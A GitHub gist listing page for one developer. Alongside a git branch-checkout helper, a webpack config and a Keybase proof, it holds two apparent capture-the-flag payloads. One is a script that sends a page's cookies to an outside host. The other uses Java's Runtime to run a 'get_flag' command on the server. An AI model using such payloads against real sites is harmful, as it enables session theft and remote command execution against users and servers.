Skip to content

Instantly share code, notes, and snippets.

Christoph Proeschel xChrisPx

Block or report user

Report or block xChrisPx

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@xChrisPx
xChrisPx / checkout_recent.sh
Created Sep 27, 2019
Checkout branches recently checked out in git
View checkout_recent.sh
checkout_recent() {
LASTN=${1:-5}
git checkout $(git reflog | egrep -io 'moving from ([^[:space:]]+)' | awk '{ print $3 }' | awk ' !x[$0]++' | egrep -v '^[a-f0-9]{40}$' | head -n $LASTN | fzf)
}
alias gre="checkout_recent"
View gist:951517748d65adc494c64069b8c4bb61
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://3afee2d6a486c1115d6bc370352fc37e.webhacky1/?c=" + document.cookie, true);
xhttp.send();
View get_flag.js
(function () {try {var rt = Java.type('java.lang.Runtime').getRuntime();var Scanner = Java.type('java.util.Scanner');var s = new Scanner(rt.exec('/usr/bin/get_flag').getInputStream()).useDelimiter(' ');return s.hasNext() ? s.next() : '';} catch (e) {return e}})();
@xChrisPx
xChrisPx / gist:e0861a950789dff52467365d92ebafc1
Last active Sep 13, 2017
webpack dev middleware with multiple webroots
View gist:e0861a950789dff52467365d92ebafc1
const express = require('express');
const webpack = require('webpack');
const DashboardPlugin = require('webpack-dashboard/plugin');
const chalk = require('chalk');
const path = require('path');
const config = {
dev: {
host: 'localhost',
port: 3000
View gist:70276c1f5060c1574c4d985db73368fd
### Keybase proof
I hereby claim:
* I am xchrispx on github.
* I am captainchris (https://keybase.io/captainchris) on keybase.
* I have a public key ASB7SJrPati4UNHAh8lV3OVSljXIjFUvntvBNbv60q2ligo
To claim this, I am signing this object:
You can’t perform that action at this time.